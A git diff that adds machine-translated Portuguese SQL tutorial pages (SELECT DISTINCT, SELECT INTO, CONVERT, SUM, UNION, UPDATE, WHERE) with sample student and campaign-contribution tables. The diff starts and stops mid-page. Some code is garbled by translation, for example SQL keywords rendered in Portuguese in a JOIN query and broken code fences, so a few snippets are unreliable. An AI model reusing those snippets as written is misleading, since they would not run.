+texto + ------------ + --------------- + -------------- + | _ID_ DA EMPRESA _|_ NOME _DA EMPRESA_ | COMPANY\_CITY | + ------------ + --------------- + -------------- + | 18 | Encomendar tudo | Boston | | 15 | Jack Hill Ltd | Londres | | 16 | Akas Foods | Deli | | 17 | Gastrônomos. | Londres | | 19 | sip-n-mordida. | Nova York | + ------------ + --------------- + -------------- +
+```
+To get company name from company table and company ID, item name columns from foods table, the following SQL statement can be used: 
+```
+
+sql SELECT company.company _id, company.company_ name, company.company _city, foods.company_ id, foods.item _name DA empresa DIREITO JOIN alimentos ON company.company_ id = foods.company\_id;
+```
+OUTPUT 
+```
+
+texto NOME DA _EMPRESA_ NOME DA EMPRESA _CIDADE DA_ EMPRESA _EMPRESA_ ID ITEM\_NAME
+
+* * *
+
+18 Peça Todos Boston 18 Jaffa Cakes 15 Jack Hill Ltd London 15 Arroz de Panela 15 Jack Hill Ltd Londres 15 BN Biscoito 15 Jack Hill Ltd Londres 15 Cheez-It 16 Akas Foods Delhi 16 Chex Mix 17 Foodies. Londres 17 poderoso Munch NULL NULL NULL NULL Salt n Agitar
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-select-distinct-statement/index.md b/client/src/guide/portuguese/sql/sql-select-distinct-statement/index.md
new file mode 100644
index 0000000000..8fbb74732c
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-select-distinct-statement/index.md
@@ -0,0 +1,56 @@
+---
+title: SQL Select Distinct Statement
+localeTitle: SQL Selecionar Declaração Distinta
+---
+## SQL Selecionar Declaração Distinta
+
+### Introdução
+
+Essa palavra-chave nos permite obter listas de valores exclusivos em uma coluna. Este guia irá demonstrar isso.
+
+### Exibição completa dos dados na tabela do aluno
+
+```sql
+USE fcc_sql_guides_database; 
+ SELECT studentID, FullName, sat_score, programOfStudy, rcd_Created, rcd_Updated FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### Obter lista de campos de estudo
+
+```sql
+SELECT DISTINCT programOfStudy FROM student; 
+```
+
+```text
++------------------+ 
+ | programOfStudy   | 
+ +------------------+ 
+ | Literature       | 
+ | Programming      | 
+ | Computer Science | 
+ +------------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-select-into-statement/index.md b/client/src/guide/portuguese/sql/sql-select-into-statement/index.md
new file mode 100644
index 0000000000..dbcedc4ae4
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-select-into-statement/index.md
@@ -0,0 +1,34 @@
+---
+title: SQL Select into Statement
+localeTitle: Seleção de SQL no Statement
+---
+## Seleção de SQL no Statement
+
+A `SELECT INTO` é uma consulta que permite criar uma _nova_ tabela e preenchê-la com o conjunto de resultados de uma `SELECT statement` . Para adicionar dados a uma tabela existente, consulte a [instrução INSERT INTO](guides/src/pages/sql/sql-insert-into-select-statement/index.md) .
+
+`SELECT INTO` pode ser usado quando você está combinando dados de várias tabelas ou exibições em uma nova tabela. 1 A tabela original não é afetada.
+
+A sintaxe geral é:
+
+```sql
+SELECT column-names 
+  INTO new-table-name 
+  FROM table-name 
+ WHERE EXISTS 
+      (SELECT column-name 
+         FROM table-name 
+        WHERE condition) 
+```
+
+Este exemplo mostra um conjunto de uma tabela que foi "copiada" da tabela "Fornecedor" para uma nova tabela chamada SupplierUSA que contém o conjunto relacionado ao país da coluna de valor "EUA".
+
+`sql SELECT * INTO SupplierUSA FROM Supplier WHERE Country = 'USA';` **Resultados** : 4 linhas afetadas 2
+
+| ID | CompanyName | ContactName | Cidade | País | Telefone | | ---- | ----------------------------- |: ------------- -: | ------------- |: --------: |: --------------: | | 2 | Nova Orleans Cajun Delights | Shelley Burke | Nova Orleans | EUA | (100) 555-4822 | | 3 | Homestead da avó Kelly | Regina Murphy | Ann Arbor | EUA | (313) 555-5735 | | 16 | Cervejas Bigfoot | Cheryl Saylor | Curva | EUA | NULL | | 19 | Nova Inglaterra Seafood Cannery | Robb Merchant | Boston | EUA | (617) 555-3267 |
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
+
+## Fontes
+
+1.  (Microsoft - Inserindo linhas usando SELECT INTO) \[https://technet.microsoft.com/en-us/library/ms190750 (v = sql.105) .aspx\]
+2.  (dofactory - Instrução SQL SELECT INTO) \[http://www.dofactory.com/sql/select-into\]
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-select-statement/index.md b/client/src/guide/portuguese/sql/sql-select-statement/index.md
new file mode 100644
index 0000000000..6dd1fee485
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-select-statement/index.md
@@ -0,0 +1,39 @@
+---
+title: SQL Select Statement
+localeTitle: Instrução SQL Select
+---
+## Instrução SQL Select
+
+## Selecionar e cláusulas
+
+A parte SELECT de uma consulta é normalmente determinar quais colunas dos dados serão exibidos nos resultados. Há também opções que você pode aplicar para mostrar dados que não são uma coluna da tabela.
+
+Este exemplo mostra três colunas selecionadas da tabela "estudante" e uma coluna calculada. O banco de dados armazena o studentID, FirstName e LastName do aluno. Podemos combinar as colunas Primeiro e Sobrenome para criar a coluna calculada FullName.
+
+```sql
+select studentID, FirstName, LastName, FirstName + ' ' + LastName as FullName 
+ from student; 
+```
+
+```text
++-----------+-------------------+------------+------------------------+ 
+ | studentID | FirstName         | LastName   | FullName               | 
+ +-----------+-------------------+------------+------------------------+ 
+ |         1 | Monique           | Davis      | Monique Davis          | 
+ |         2 | Teri              | Gutierrez  | Teri Gutierrez         | 
+ |         3 | Spencer           | Pautier    | Spencer Pautier        | 
+ |         4 | Louis             | Ramsey     | Louis Ramsey           | 
+ |         5 | Alvin             | Greene     | Alvin Greene           | 
+ |         6 | Sophie            | Freeman    | Sophie Freeman         | 
+ |         7 | Edgar Frank "Ted" | Codd       | Edgar Frank "Ted" Codd | 
+ |         8 | Donald D.         | Chamberlin | Donald D. Chamberlin   | 
+ |         9 | Raymond F.        | Boyce      | Raymond F. Boyce       | 
+ +-----------+-------------------+------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+\* Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-server-convert-function/index.md b/client/src/guide/portuguese/sql/sql-server-convert-function/index.md
new file mode 100644
index 0000000000..bb220ba521
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-server-convert-function/index.md
@@ -0,0 +1,51 @@
+---
+title: SQL Server Convert Function
+localeTitle: Função de Conversão do SQL Server
+---
+## Função de Conversão do SQL Server
+
+Converte de um tipo de dados para outro tipo de dados.
+
+### Sintaxe
+
+`CONVERT (_New Data Type, Expression, Style_)`
+
+*   **Novo tipo de dados:** novo tipo de dados a ser convertido também. Por exemplo: nvarchar, inteiro, decimal, data
+*   **Expressão:** dados a serem convertidos.
+*   **Estilo:** formato. Por exemplo: O estilo 110 é o formato de data dos EUA mm-dd-aaaa
+
+### Exemplo: converter um número decimal em um inteiro
+
+`SELECT CONVERT(INT, 23.456) as IntegerNumber`
+
+![converter um número decimal em número inteiro](https://user-images.githubusercontent.com/12566249/31314884-6c94db4a-ac57-11e7-842f-710fad511131.png)
+
+Nota: O resultado é truncado.
+
+### Exemplo: converter uma string em uma data
+
+`SELECT CONVERT(DATE, '20161030') as Date`
+
+![converter uma string em um tipo de data](https://user-images.githubusercontent.com/12566249/31314912-c25bbb52-ac57-11e7-880d-6d81041b1728.png)
+
+### Exemplo: converter um decimal em uma string
+
+`SELECT CONVERT(nvarchar, 20.123) as StringData`
+
+![converter um decimal em uma string](https://user-images.githubusercontent.com/12566249/31314923-fb04e410-ac57-11e7-9646-94061e1f0ec2.png)
+
+### Exemplo: converter um número inteiro em um número decimal
+
+`SELECT CONVERT(DECIMAL (15,3), 13) as DecimalNumber`
+
+![converter um inteiro em um número decimal](https://user-images.githubusercontent.com/12566249/31314932-1c8668ca-ac58-11e7-8cee-4d57fc523704.png)
+
+### Exemplo: converter uma string em formato de data no estilo de data dos EUA
+
+`SELECT CONVERT(DATE, '20171030' , 110) To_USA_DateFormat`
+
+![converter uma string para o formato de data no estilo de data dos EUA](https://user-images.githubusercontent.com/12566249/31314937-35155d06-ac58-11e7-9d5d-823b66c41d0d.png)
+
+### Mais Informações:
+
+*   Informações sobre a função Converter: [Microsoft](https://docs.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-sum-function/index.md b/client/src/guide/portuguese/sql/sql-sum-function/index.md
new file mode 100644
index 0000000000..9cc01bb96b
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-sum-function/index.md
@@ -0,0 +1,47 @@
+---
+title: SQL Sum Function
+localeTitle: Função Soma de SQL
+---
+## Função Soma de SQL
+
+Esta é uma das funções agregadas (como count, average, max, min, etc.). Eles são usados ​​em uma cláusula GROUP BY, pois agrega dados apresentados pela parte SELECT FROM WHERE da instrução.
+
+### Exemplo de uso
+
+"sum (Total\_ $)" na instrução SELECT é agregado na cláusula GROUP BY. "Count (\*)" fornece o número de contribuições.
+
+Esses dados são dos dados das contribuições da campanha que estamos usando em alguns desses guias.
+
+Esta declaração SQL está respondendo à pergunta: "quais candidatos receberam a maior contribuição total em dólares, mas apenas aqueles que tiveram mais de US $ 20 milhões para todas as contribuições combinadas?"
+
+A ordenação desse conjunto de dados em uma ordem descendente (DESC) coloca os candidatos com as maiores contribuições totais no topo da lista.
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-syntax/index.md b/client/src/guide/portuguese/sql/sql-syntax/index.md
new file mode 100644
index 0000000000..33f72d3a34
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-syntax/index.md
@@ -0,0 +1,108 @@
+---
+title: SQL Syntax
+localeTitle: Sintaxe SQL
+---
+## Sintaxe SQL
+
+### Introdução
+
+Este guia fornece uma descrição básica e de alto nível da sintaxe para instruções SQL.
+
+O SQL é um padrão internacional (ISO), mas você encontrará muitas diferenças entre as implementações. Este guia usa o MySQL como um exemplo. Se você usar um dos muitos outros gerenciadores de banco de dados relacional (DBMS), será necessário verificar o manual para esse DBMS, se necessário.
+
+### O que vamos cobrir
+
+*   Use (define qual banco de dados a instrução usará)
+*   Selecionar e cláusulas
+*   Onde Cláusula (e / ou, IN, Entre, LIKE)
+*   Ordenar por (ASC, DESC)
+*   Agrupar por e tendo
+
+### Como usar isso
+
+Isso é usado para selecionar o banco de dados que contém as tabelas para suas instruções SQL:
+
+```sql
+use fcc_sql_guides_database; -- select the guide sample database 
+```
+
+### Selecionar e cláusulas
+
+A parte Select é normalmente usada para determinar quais colunas dos dados você deseja mostrar nos resultados. Há também opções que você pode usar para mostrar dados que não são uma coluna da tabela.
+
+Este exemplo mostra duas colunas selecionadas da tabela "student" e duas colunas calculadas. A primeira das colunas calculadas é um número sem sentido e a outra é a data do sistema.
+
+```sql
+    select studentID, FullName, 3+2 as five, now() as currentDate 
+    from student; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax01.JPG)
+
+### Onde Cláusula (e / ou, IN, Entre e LIKE)
+
+A cláusula WHERE é usada para limitar o número de linhas retornadas.
+
+Neste caso, todos os cinco destes serão utilizados é uma cláusula Where ridiculous.
+
+Compare esse resultado com a instrução SQL acima para seguir essa lógica.
+
+Serão apresentadas linhas que:
+
+*   Ter IDs de alunos entre 1 e 5 (inclusive)
+*   ou studentID = 8
+*   ou ter "Maxmimo" no nome
+
+O exemplo a seguir é semelhante, mas especifica ainda que, se algum aluno tiver determinadas pontuações do SAT (1000, 1400), ele não será apresentado:
+
+```sql
+    select studentID, FullName, sat_score, recordUpdated 
+    from student 
+    where ( 
+        studentID between 1 and 5 
+        or studentID = 8 
+        or FullName like '%Maximo%' 
+        ) 
+        and sat_score NOT in (1000, 1400); 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax02.JPG)
+
+### Ordenar por (ASC, DESC)
+
+Order By nos dá uma maneira de classificar o conjunto de resultados por um ou mais dos itens na seção SELECT. Aqui está a mesma lista acima, mas classificada pelo nome completo dos alunos. A ordem de classificação padrão é ascendente (ASC), mas para classificar na ordem oposta (descendente) você usa DESC, como no exemplo abaixo:
+
+```sql
+    select studentID, FullName, sat_score 
+    from student 
+    where (studentID between 1 and 5 -- inclusive 
+        or studentID = 8 
+        or FullName like '%Maximo%') 
+        and sat_score NOT in (1000, 1400) 
+    order by FullName DESC; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax03.JPG)
+
+### Agrupar por e ter
+
+O Group By nos dá uma maneira de combinar linhas e agregar dados. A cláusula Having é como a cláusula Where acima, exceto que ela age nos dados agrupados.
+
+Esses dados são dos dados das contribuições da campanha que estamos usando em alguns desses guias.
+
+Esta instrução SQL responde à pergunta: "quais candidatos receberam o maior número de contribuições (não $ quantidade, mas conta (\*)) em 2016, mas apenas aqueles que tiveram mais de 80 contribuições?"
+
+A ordenação desse conjunto de dados em uma ordem descendente (DESC) coloca os candidatos com o maior número de contribuições no topo da lista.
+
+```sql
+    select Candidate, Election_year, sum(Total_$), count(*) 
+    from combined_party_data 
+    where Election_year = 2016 
+    group by Candidate, Election_year 
+    having count(*) > 80 
+    order by count(*) DESC; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax04.JPG)
+
+_Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório. Espero que pelo menos isso lhe dê o suficiente para começar. Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-union-operator/index.md b/client/src/guide/portuguese/sql/sql-union-operator/index.md
new file mode 100644
index 0000000000..f0ddf6a973
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-union-operator/index.md
@@ -0,0 +1,67 @@
+---
+title: SQL Union Operator
+localeTitle: Operador da União SQL
+---
+## Operador da União SQL
+
+### Descrição
+
+Para este guia, discutiremos a seção Operador UNION da instrução SQL.
+
+O operador UNION é usado para combinar os resultados de várias instruções select em um conjunto de resultados.
+
+As instruções SQL devem ter o mesmo número de colunas na instrução Select.
+
+### Exemplo Básico
+
+Instrução SQL
+
+```sql
+SELECT 'aaaaa' 
+ UNION 
+ SELECT 'bbbbbbbbb'; 
+```
+
+Saída
+
+```text
++-----------+ 
+ | aaaaa     | 
+ +-----------+ 
+ | aaaaa     | 
+ | bbbbbbbbb | 
+ +-----------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### Exemplo usando as tabelas dos alunos
+
+Instrução SQL
+
+```sql
+SELECT StudentID, FullName FROM student WHERE studentID BETWEEN 1 AND 5 
+ UNION 
+ SELECT studentID, studentEmailAddr FROM `student-contact-info` WHERE studentID BETWEEN 7 AND 8; 
+```
+
+Saída
+
+\`\` \`text + ----------- + -------------------------------- + | StudentID | FullName | + ----------- + -------------------------------- + | 1 | Monique Davis | | 2 | Teri Gutierrez | | 3 | Spencer Pautier | | 4 | Louis Ramsey | | 5 | Alvin Greene | | 7 | Maximo.Smith@freeCodeCamp.org | | 8 | Michael.Roach@freeCodeCamp.ort | + ----------- + -------------------------------- + 7 linhas no set (0,00 seg)
+```
+## SQL UNION ALL Operator 
+ 
+ The UNION ALL operator is an extension to UNION operator where it should result you a A+B of rows in the ouptput assuming A and B is your input, in simple terms UNION ALL doesn't deduplicate. 
+ 
+ 
+ ### Basic Syntax 
+ 
+ SQL Statement 
+```
+
+sql SELECT expressão1, expressão2,… expressão _n FROM tabelas \[WHERE condições\] UNION ALL SELECT expressão1, expressão2,… expressão_ n FROM tabelas \[WHERE condições\]; \`\` \`
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-update-query/index.md b/client/src/guide/portuguese/sql/sql-update-query/index.md
new file mode 100644
index 0000000000..35731d2669
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-update-query/index.md
@@ -0,0 +1,129 @@
+---
+title: SQL Update Query
+localeTitle: Consulta de atualização SQL
+---
+## Consulta de atualização SQL
+
+### O que uma consulta de atualização pode fazer
+
+Uma consulta de atualização fornece ao programador DBA ou SQL a capacidade de atualizar muitos registros com um comando.
+
+Dica importante de segurança! Tenha sempre uma cópia de segurança do que você está prestes a mudar ANTES de mudar isso!
+
+Este guia irá:
+
+*   adicionar um novo campo à tabela do aluno
+*   testar a lógica para atualizar esse campo com um endereço de e-mail atribuído à escola
+*   atualizar o novo campo.
+
+Aqui está a mesa do aluno quando começamos este processo
+
+```sql
+SELECT * FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### Altere a tabela e adicione um novo campo
+
+```sql
+    ALTER TABLE `fcc_sql_guides_database`.`student` 
+    ADD COLUMN `schoolEmailAdr` VARCHAR(125) NULL AFTER `programOfStudy`; 
+```
+
+A tabela do aluno após a alteração é executada.
+
+```text
+mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+----------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr | 
+ +------------------------+-----------+------------------+----------------+ 
+ | Monique Davis          |       400 | Literature       | NULL           | 
+ | Teri Gutierrez         |       800 | Programming      | NULL           | 
+ | Spencer Pautier        |      1000 | Programming      | NULL           | 
+ | Louis Ramsey           |      1200 | Programming      | NULL           | 
+ | Alvin Greene           |      1200 | Programming      | NULL           | 
+ | Sophie Freeman         |      1200 | Programming      | NULL           | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | NULL           | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | NULL           | 
+ | Raymond F. Boyce       |      2400 | Computer Science | NULL           | 
+ +------------------------+-----------+------------------+----------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### TESTANDO a lógica (passo MUITO importante!)
+
+```sql
+SELECT FullName, instr(FullName," ") AS firstSpacePosition, 
+ concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") AS schoolEmail 
+ FROM student; 
+```
+
+```text
++------------------------+--------------------+------------------------+ 
+ | FullName               | firstSpacePosition | schoolEmail            | 
+ +------------------------+--------------------+------------------------+ 
+ | Monique Davis          |                  8 | Monique@someSchool.edu | 
+ | Teri Gutierrez         |                  5 | Teri@someSchool.edu    | 
+ | Spencer Pautier        |                  8 | Spencer@someSchool.edu | 
+ | Louis Ramsey           |                  6 | Louis@someSchool.edu   | 
+ | Alvin Greene           |                  6 | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |                  7 | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |                  6 | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |                  7 | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |                  8 | Raymond@someSchool.edu | 
+ +------------------------+--------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+_Uma nota sobre o concat (): no MySQL, este comando é usado para seqüências de caracteres combinadas, não em outras versões do SQL (consulte o manual). Neste uso, funciona assim: A subseqüência do campo FullName até, mas não incluindo o primeiro espaço, é combinada com "@ someSchool.edu". No mundo real isso teria que ser muito mais complexo e você precisaria garantir que o endereço de e-mail é único._
+
+### Fazendo a atualização
+
+Vamos fingir que isso é o que queremos e atualizar a tabela com esta informação:
+
+```sql
+UPDATE student SET schoolEmailAdr = concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") 
+ WHERE schoolEmailAdr is NULL; 
+```
+
+Sucesso!
+
+```text
+mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+------------------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +------------------------+-----------+------------------+------------------------+ 
+ | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-update-statement/index.md b/client/src/guide/portuguese/sql/sql-update-statement/index.md
new file mode 100644
index 0000000000..2ef666a2c7
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-update-statement/index.md
@@ -0,0 +1,44 @@
+---
+title: SQL Update Statement
+localeTitle: Instrução SQL Update
+---
+## Instrução SQL Update
+
+Para atualizar um registro em uma tabela, use a `UPDATE` .
+
+Seja cuidadoso. Você pode atualizar todos os registros da tabela ou apenas alguns. Use a condição `WHERE` para especificar quais registros você deseja atualizar. É possível atualizar uma ou mais colunas por vez. A sintaxe é:
+
+```sql
+UPDATE table_name 
+ SET column1 = value1, 
+    column2 = value2, ... 
+ WHERE condition; 
+```
+
+Aqui está um exemplo atualizando o nome do registro com o ID 4:
+
+```sql
+UPDATE Person 
+ SET Name = “Elton John” 
+ WHERE Id = 4; 
+```
+
+Você também pode atualizar colunas em uma tabela usando valores de outras tabelas. Use a cláusula `JOIN` para obter dados de várias tabelas. A sintaxe é:
+
+```sql
+UPDATE table_name1 
+ SET table_name1.column1 = table_name2.columnA 
+    table_name1.column2 = table_name2.columnB 
+ FROM table_name1 
+ JOIN table_name2 ON table_name1.ForeignKey = table_name2.Key 
+```
+
+Aqui está um exemplo de atualização do Gerenciador de todos os registros:
+
+```sql
+UPDATE Person 
+ SET Person.Manager = Department.Manager 
+ FROM Person 
+ JOIN Department ON Person.DepartmentID = Department.ID 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-where-clause/index.md b/client/src/guide/portuguese/sql/sql-where-clause/index.md
new file mode 100644
index 0000000000..87a4effded
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-where-clause/index.md
@@ -0,0 +1,68 @@
+---
+title: SQL Where Clause
+localeTitle: SQL onde cláusula
+---
+## SQL onde cláusula
+
+### `WHERE` cláusula (e / ou, `IN` , `BETWEEN` , e `LIKE` )
+
+A cláusula `WHERE` é usada para limitar o número de linhas retornadas.
+
+Neste caso, todos os cinco destes serão usados ​​é uma cláusula `WHERE` ridícula.
+
+Aqui está a lista atual de alunos completa para comparar com o conjunto de resultados da cláusula `WHERE` :
+
+```sql
+select studentID, FullName, sat_score, rcd_updated from student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+Linhas serão apresentadas que….
+
+*   `WHERE` IDs dos alunos estão entre 1 e 5 (inclusive)
+*   `OR` studentID = 8
+
+Aqui está uma consulta atualizada, onde qualquer registro que tenha uma pontuação SAT que esteja nesta lista (1000, 1400) não será apresentado:
+
+```sql
+select  studentID, FullName, sat_score, recordUpdated 
+ from    student 
+ where   (studentID between 1 and 5 or studentID = 8) 
+        and 
+        sat_score NOT in (1000, 1400); 
+```
+
+```text
++-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
